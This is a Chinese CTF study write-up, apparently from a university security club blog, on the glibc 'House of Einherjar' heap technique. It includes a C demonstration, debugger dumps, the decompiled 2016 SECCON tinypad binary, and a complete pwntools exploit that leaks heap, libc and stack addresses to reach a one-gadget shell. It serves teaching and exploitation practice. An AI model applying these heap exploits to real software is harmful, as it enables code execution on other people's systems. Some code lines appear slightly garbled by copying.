皮蛋厂的学习日记 2023.7.12 | F4atherw1t| House Of Einherjar
2023-7-12 22:35:29 Author: 山警网络空间安全实验室(查看原文) 阅读量:11 收藏

本文首发于先知社区

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习,共同进步~

介绍

house of einherjar 跟 house of force 差不多,最终目的都是控制 top chunk 的值 该技术可以强制使得malloc返回一个几乎任意地址的 chunk

House Of Einherjar 利用姿势

造一个 chunk,计算最后一个 chunk 到我们伪造 chunk 的距离,设置为最后一个 chunk 的 pre_size 位,当 free 最后一个 chunk 时,会将伪造的 chunk 和当前 chunk 和 top chunk 进行 unlink 操作,合并成一个 top chunk,从而达到将 top chunk 设置到我们伪造 chunk 的地址

// 和 house of force 不同,想要控制目标区域的 offset(fake_presize) 通常为正

通过 off-by-one 把最后一个 chunk 的 pre_inuse 标志位置零,让 free 函数以为上一个 chunk 已经被 free,这就要求了最后一个 chunk 的 size 必须大于 0x100,要不然会在 top chunk 进行合并操作的时候失败(指被覆盖为“\x00”)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    uint8_t* a;
    uint8_t* b;
    uint8_t* d;

    a = (uint8_t*)malloc(0x38);
    printf("a: %p\n", a);

    int real_a_size = malloc_usable_size(a);
    printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding:%#x\n", real_a_size);

    size_t fake_chunk[6];

    fake_chunk[0] = 0x100;
    fake_chunk[1] = 0x100;
    fake_chunk[2] = (size_t)fake_chunk;
    fake_chunk[3] = (size_t)fake_chunk;
    fake_chunk[4] = (size_t)fake_chunk;
    fake_chunk[5] = (size_t)fake_chunk;
    printf("Our fake chunk at %p looks like:\n", fake_chunk);

    b = (uint8_t*)malloc(0xf8);
    int real_b_size = malloc_usable_size(b);
    printf("b: %p\n", b);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    printf("\nb.size: %#lx\n", *b_size_ptr); // 覆盖前:b.size = 0x101(0xf8+0x8+1)
    a[real_a_size] = 0// 写入chunkB->size(chunkB->presize也属于chunkA的数据区)
    printf("b.size: %#lx\n", *b_size_ptr); // 覆盖后:b.size = 0x100(覆盖了末尾的1)

    size_t fake_size = (size_t)((b - sizeof(size_t) * 2) - (uint8_t*)fake_chunk);
    printf("Our fake prev_size will be %p - %p = %#lx\n", b - sizeof(size_t) * 2, fake_chunk, fake_size);
    *(size_t*)&a[real_a_size - sizeof(size_t)] = fake_size; // 修改chunkB->presize

    fake_chunk[1] = fake_size;

    free(b); // 释放chunkB,topchunk将会被控制到“&fake_chunk”
    printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

    d = malloc(0x200); 
    printf("Next malloc(0x200) is at %p\n", d); // 打印fake_chunk的数据区地址
}

pwndbg> x/20xg 0x55555555b000
0x55555555b000: 0x0000000000000000 0x0000000000000041
0x55555555b010: 0x0000000000000000 0x0000000000000000
0x55555555b020: 0x0000000000000000 0x0000000000000000
0x55555555b030: 0x0000000000000000 0x0000000000000000
0x55555555b040: 0x0000000000000000 0x0000000000000101
0x55555555b050: 0x0000000000000000 0x0000000000000000

覆盖后:( a[real_a_size] = 0 )

pwndbg> x/20xg 0x55555555b000
0x55555555b000: 0x0000000000000000 0x0000000000000041
0x55555555b010: 0x0000000000000000 0x0000000000000000
0x55555555b020: 0x0000000000000000 0x0000000000000000
0x55555555b030: 0x0000000000000000 0x0000000000000000
0x55555555b040: 0x0000000000000000 0x0000000000000100
0x55555555b050: 0x0000000000000000 0x0000000000000000

修改后:( (size_t)&a[real_a_size - sizeof(size_t)] = fake_size )

pwndbg> x/20xg 0x55555555b000
0x55555555b000: 0x0000000000000000 0x0000000000000041
0x55555555b010: 0x0000000000000000 0x0000000000000000
0x55555555b020: 0x0000000000000000 0x0000000000000000
0x55555555b030: 0x0000000000000000 0x0000000000000000
0x55555555b040: 0xffffd5555555d2f0 0x0000000000000100
0x55555555b050: 0x0000000000000000 0x0000000000000000

释放后:( free(b) )

pwndbg> heap
Allocated chunk
Addr: 0x7ffffffde010 /* GDB显示有误(控制了topchunk之后,GDB就显示不准确了) */
Size: 0x00

结果:(显示的地址和上述GDB调试的地址不同,因为这是两个不同的进程)

a: 0x602010
Since we want to overflow 'a', we need the 'real' size of 'a' after rounding:0x38
Our fake chunk at 0x7fffffffdd00 looks like:
b: 0x602050

b.size: 0x101
b.size: 0x100
Our fake prev_size will be 0x602040 - 0x7fffffffdd00 = 0xffff800000604340
Our fake chunk size is now 0xffff800000625301 (b.size + fake_prev_size)
Next malloc(0x200) is at 0x7fffffffdd10

向后合并机制与利用点

下面是 libc-2.23 中,向后合并的源码

if (!(hd & PREV_INUSE))                    /* consolidate backward */

  prevsz = p->prev_size; 
    /* 记录相邻堆块p的prev_size值 */
  p = chunk_at_offset(p, -(long)prevsz); 
    /* 堆块p的指针最后由chunk_at_offset()函数决定 */
    /* 将原本p指针位置加上s偏移后的位置作为合并堆块的新指针(向上增加) */
  sz += prevsz; 
    /* size = size + prev_size */

  if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */
    islr = 1;
  else
    unlink(p, bck, fwd);
    /* 检查并脱链 */
}

可以看到执行 set_head() 函数后,合并堆块的 size 会变为两个堆块的总和,并且 top_chunk 的指针会指向被合并的堆块 p 的位置,就相当于 top_chunk 把 p 给吞了,并取代了 p 的位置

可以发现程序并没有对 向后合并 进行过多的检查,不管 presize 是多少都是合理的

保护检查

后向合并中没有多少检查,但是unlink操作会先检查 “fakechunk->size” (必须可以通过 size 索引到“last chunk”,并且P位为“0”,这样才会进行 unlink),因为“fake_size”(offset)很大,fake chunk 会被当做是 large chunk ,所以还会格外检查 FD,BK,FDsize,BKsize

破解办法

控制“fake chunk”,写入“fake_size”,在“FD,BK,FDsize,BKsize”中写入“fake chunk addr”就可以通过检查(至少在 libc-2.23 是这样的)

利用条件

1.用户能够篡改 top chunk 的 presize 字段(篡改为负数或很大值) 2.有 off-by-one ,可以覆盖最后一个chunk的P位为“\x00”(使其在和 top chunk 合并后还可以进行后向合并,通过“chunk->presize”索引到“fake chunk”把 top chunk 合并到“fake chunk”上) 3.可以控制“fake chunk”

版本对 House Of Einherjar 的影响

libc-2.23

基本没有影响,可以直接打

2016_seccon_tinypad

ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  int choice; // eax
  int v5; // eax
  __int64 v6; // rax
  unsigned __int64 v7; // rax
  int c; // [rsp+4h] [rbp-1Ch] BYREF
  int i; // [rsp+8h] [rbp-18h]
  int index; // [rsp+Ch] [rbp-14h]
  int v12; // [rsp+10h] [rbp-10h]
  int v13; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v14; // [rsp+18h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  v12 = 0;
  write_n((__int64)&unk_4019F0, 1LL);
  write_n(
    (__int64)"  ============================================================================\n"
             "// _|_|_|_|_|  _|_|_|  _|      _|  _|      _|  _|_|_|      _|_|    _|_|_|     \\\\\n"
             "||     _|        _|    _|_|    _|    _|  _|    _|    _|  _|    _|  _|    _|   ||\n"
             "||     _|        _|    _|  _|  _|      _|      _|_|_|    _|_|_|_|  _|    _|   ||\n"
             "||     _|        _|    _|    _|_|      _|      _|        _|    _|  _|    _|   ||\n"
             "\\\\     _|      _|_|_|  _|      _|      _|      _|        _|    _|  _|_|_|     //\n"
             "  ============================================================================\n",
    563LL);
  write_n((__int64)&unk_4019F0, 1LL);
  do
  {
    for ( i = 0; i <= 3; ++i )    
    {
      LOBYTE(c) = i + 49;
      writeln((__int64)"+------------------------------------------------------------------------------+\n"81LL);
      write_n((__int64)" #   INDEX: "12LL);
      writeln((__int64)&c, 1LL);
      write_n((__int64)" # CONTENT: "12LL);
      if ( *(_QWORD *)&tinypad[16 * i + 264] )
      {
        v3 = strlen(*(const char **)&tinypad[16 * i + 264]);
        writeln(*(_QWORD *)&tinypad[16 * i + 264], v3);
      }
      writeln((__int64)&unk_4019F0, 1LL);
    }
    index = 0;
    choice = getcmd();
    v12 = choice;
    if ( choice == 'D' )                //delete
    {
      write_n((__int64)"(INDEX)>>> "11LL);
      index = read_int();
      if ( index <= 0 || index > 4 )   //index 范围为:1.2.3
      {
LABEL_29:
        writeln((__int64)"Invalid index"13LL);
        continue;
      }
      if ( !*(_QWORD *)&tinypad[16 * index + 240] )
      {
LABEL_31:
        writeln((__int64)"Not used"8LL);
        continue;
      }
      free(*(void **)&tinypad[16 * index + 248]);     // UAF 
      *(_QWORD *)&tinypad[16 * index + 240] = 0LL;    // 置空了size,没有置空指针
      writeln((__int64)"\nDeleted."9LL);
    }
    else if ( choice > 'D' )
    {
      if ( choice != 'E' )
      {
        if ( choice == 'Q' )
          continue;
LABEL_41:
        writeln((__int64)"No such a command"17LL);
        continue;
      }
      write_n((__int64)"(INDEX)>>> "11LL);   // edit  
      index = read_int();
      if ( index <= 0 || index > 4 )
        goto LABEL_29;
      if ( !*(_QWORD *)&tinypad[16 * index + 240] )
        goto LABEL_31;
      c = 48;
      strcpy(tinypad, *(const char **)&tinypad[16 * index + 248]);//把数据复制到chunk_list(tinypad)首位
      while ( toupper(c) != 'Y' )                                  // 只要不Y就可以一直修改
      {                                                           
        write_n((__int64)"CONTENT: "9LL);                        // 输出数据,也许可以利用这里来leak
        v6 = strlen(tinypad);
        writeln((__int64)tinypad, v6);
        write_n((__int64)"(CONTENT)>>> "13LL);
        v7 = strlen(*(const char **)&tinypad[16 * index + 248]);
        read_until((__int64)tinypad, v7, 0xAu);
        writeln((__int64)"Is it OK?"9LL);
        write_n((__int64)"(Y/n)>>> "9LL);
        read_until((__int64)&c, 1uLL, 0xAu);
      }
      strcpy(*(char **)&tinypad[16 * index + 248], tinypad);     // 复制回去
      writeln((__int64)"\nEdited."8LL);
    }
    else
    {
      if ( choice != 'A' )                      // add
        goto LABEL_41;
      while ( index <= 3 && *(_QWORD *)&tinypad[16 * index + 256] )
        ++index;
      if ( index == 4 )
      {
        writeln((__int64)"No space is left."17LL);
      }
      else
      {
        v13 = -1;
        write_n((__int64)"(SIZE)>>> "10LL);
        v13 = read_int();
        if ( v13 <= 0 )                  // size不能为负
        {
          v5 = 1;
        }
        else
        {
          v5 = v13;
          if ( (unsigned __int64)v13 > 0x100 )  // size不能超过0x100
            v5 = 256;
        }
        v13 = v5;
        *(_QWORD *)&tinypad[16 * index + 256] = v5;
        *(_QWORD *)&tinypad[16 * index + 264] = malloc(v13);
        if ( !*(_QWORD *)&tinypad[16 * index + 264] )
        {
          writerrln("[!] No memory is available."27LL);
          exit(-1);
        }
        write_n((__int64)"(CONTENT)>>> "13LL);
        read_until(*(_QWORD *)&tinypad[16 * index + 264], v13, 0xAu);  // 写入内容 off by one
        writeln((__int64)"\nAdded."7LL);
      }
    }
  }
  while ( v12 != 'Q' );      // quit
  return 0;
}

unsigned __int64 __fastcall read_until(__int64 a1, unsigned __int64 a2, int a3)
{
  unsigned __int64 i; // [rsp+28h] [rbp-18h]
  __int64 n; // [rsp+30h] [rbp-10h]

  for ( i = 0LL; i < a2; ++i )
  {
    n = read_n(0LL, a1 + i, 1LL);
    if ( n < 0 )
      return -1LL;
    if ( !n || *(a1 + i) == a3 )
      break;
  }
  *(a1 + i) = 0;                                // off by one
  if ( i == a2 && *(a2 - 1 + a1) != 10 )
    dummyinput(a3);
  return i;
}

又是经典的置空末尾“\n”,造成了 off-by-null

有 off-by-null 可以置空下一个chunk的P位 修改模块可以控制 chunk_list ( tinypad ) 这一大片区域,伪造 fake_size 绰绰有余 最后一个chunk的“presize”直接作为相邻上一个chunk的数据区,完全可以控制

可以考虑打 House Of Einherjar 了:伪造'lastchunk-presize',溢出'\x00'到'lastchunk->size'

思路

free(*(void **)&chunk_list[16 * index + 248]);
*(_QWORD *)&chunk_list[16 * index + 240] = 0LL;

发现程序置空了 size ,却没有置空指针,可以打 unsortedbin leak

详细流程

add(0xe0"A"*0xe0)
add(0xf0"B"*0xf0)
add(0x100"C"*0x100)
add(0x100"D"*0x100)
delete(3//因为后面"chunk4->size"会被覆盖低位,所以这里只能为0x100
delete(1//这里要先释放后申请的chunk,不然程序不会打印(不知道原因)
因为这个题目比较特殊,所以直接利用fd指针来泄露libc_base 和 heap_addr
想接收这个数据,可以用 
1.p.recvuntil('\n')[:-1].ljust(8,'\x00')
接收到 '\n' , 但是不算上 '\n'
2.k&0x0000000000ffffff
直接异或一下
ru('INDEX: 1\n')
ru('# CONTENT: ')
k=u64(r(8))
heap_addr=k&0x0000000000ffffff-0x1f0
#heap_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
leak('heap_addr',heap_addr)

ru('INDEX: 3\n')
ru('# CONTENT: ')
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b78
leak('libc_base',libc_base)

chunk_list_addr=0x602040
chunk2_addr=heap_addr+0xf0
offset=chunk2_addr-chunk_list_addr
leak('chunk_list_addr >> ',chunk_list_addr)
leak('chunk2_addr >> ',chunk2_addr)
leak('offset >> ',offset)
add(0xe8, "g"*(0xe8-0x8) + p64(offset))

改一下 chunk2 的pre_size

delete(4),把三四合并,让二紧邻top chunk

pl=p64(0x100)+p64(offset)
pl+=p64(chunk_list_addr)*4
edit(2, pl)

然后再fake_chunk上设置 size 为 offset

这里是直接写过去了,题目特点,先写到 0x602040 再 strcpy 过去,不过这个很容易就截断,所以这个题目 edit 会让人很迷

如果chunk2 只改这一位 ,应该是 strcpy 遇到 '\x00' 截断后 ,由于off by one ,这里把'\n'置空为0了

delete(2)

这里的pre_size和size已经对应了,然后直接delete(2) 把chunk的P位改为0,这样就满足了 House Of Einherjar 的条件

gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
gadget_addr = libc_base + gadget[3]
payload = p64(0xe8) + p64(libc_base + libc.symbols["__environ"])
payload += p64(0xe8) + p64(0x602148)
add(0xe0"t"*0xe0)
add(0x100, payload)

然后申请两次chunk,在储存chunk1_ptr的地方写入 '__environ' (在 libc 中有一个全局变量__environ,储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,所以可以控制rip了) ,然后把chunk2_ptr 改成 chunk1_ptr 的地址 ,方便修改

这里的chunk_ptr 前面的应该是size,直接写一个数就行,这里没有过多的检查,我试了试两个p64(0x100)也能打通

p.readuntil("# CONTENT: ")
stack_env=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
leak('environ',libc_base + libc.symbols["__environ"])
success("env_stack address: " + hex(stack_env))

这里写入 '__environ' 函数然后根据题目特点把 栈地址泄露出来了

计算一下偏移,得到 '__libc_start_main+240' 的地址,也就是程序的返回地址

edit(2, p64(stack_env-240))
edit(1, p64(gadget_addr))
p.readuntil("(CMD)>>>")
p.sendline("Q")

然后修改 chunk_ptr1 为 '__libc_start_main+240'

这样编辑 chunk2 就能把 '__libc_start_main+240' 修改为 og了 然后直接退出就getshell了

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
 context.arch = 'amd64'
else:
 context.arch = 'i386'

p=process('./pwn')
#p=remote('node4.buuoj.cn',29025)
elf = ELF('./pwn')
#libc=ELF('./libc-2.23.so')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def duan():
 gdb.attach(p)
 pause()

def add(size,content):
 p.recvuntil('(CMD)>>> ')
 p.sendline('a')
 p.recvuntil('(SIZE)>>> ')
 p.sendline(str(size))
 p.recvuntil('(CONTENT)>>> ')
 p.sendline(content)

def delete(index):
 p.recvuntil('(CMD)>>> ')
 p.sendline('d')
 p.recvuntil('(INDEX)>>> ')
 p.sendline(str(index))

def edit(index,content):
 p.recvuntil('(CMD)>>> ')
 p.sendline('e')
 p.recvuntil('(INDEX)>>> ')
 p.sendline(str(index))
 p.recvuntil('CONTENT: ')
 p.recvuntil('(CONTENT)>>> ')
 p.sendline(content)
 p.recvuntil('(Y/n)>>> ')
 p.sendline('y')

add(0xe0"A"*0xe0)
add(0xf0"B"*0xf0)
add(0x100"C"*0x100)
add(0x100"D"*0x100)
delete(3)
delete(1)
#duan()

ru('INDEX: 1\n')
ru('# CONTENT: ')
k=u64(r(8))
heap_addr=k&0x0000000000ffffff-0x1f0
#heap_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
leak('heap_addr',heap_addr)
ru('INDEX: 3\n')
ru('# CONTENT: ')
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b78
leak('libc_base',libc_base)

chunk_list_addr=0x602040
chunk2_addr=heap_addr+0xf0
offset=chunk2_addr-chunk_list_addr
leak('chunk_list_addr >> ',chunk_list_addr)
leak('chunk2_addr >> ',chunk2_addr)
leak('offset >> ',offset)
add(0xe8"g"*(0xe8-0x8) + p64(offset))
delete(4)

pl=p64(0x100)+p64(offset)
pl+=p64(chunk_list_addr)*4
edit(2, pl)
delete(2)

gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
gadget_addr = libc_base + gadget[3]
payload = p64(0xe8) + p64(libc_base + libc.symbols["__environ"])
payload += p64(0xe8) + p64(0x602148)
add(0xe0"t"*0xe0)
add(0x100, payload)

p.readuntil("# CONTENT: ")
stack_env=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success("env_stack address: " + hex(stack_env))

edit(2, p64(stack_env-240))
edit(1, p64(gadget_addr))
p.readuntil("(CMD)>>>")
p.sendline("Q")

itr()


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450785870&idx=1&sn=5a786669b248d73f6d4c0ecef55934a8&chksm=b104f76986737e7fb420b5b42d7d80063a65b314c06af93e3c93bd4fc40b7afdb20ddcb8608e#rd
如有侵权请联系:admin#unsafe.sh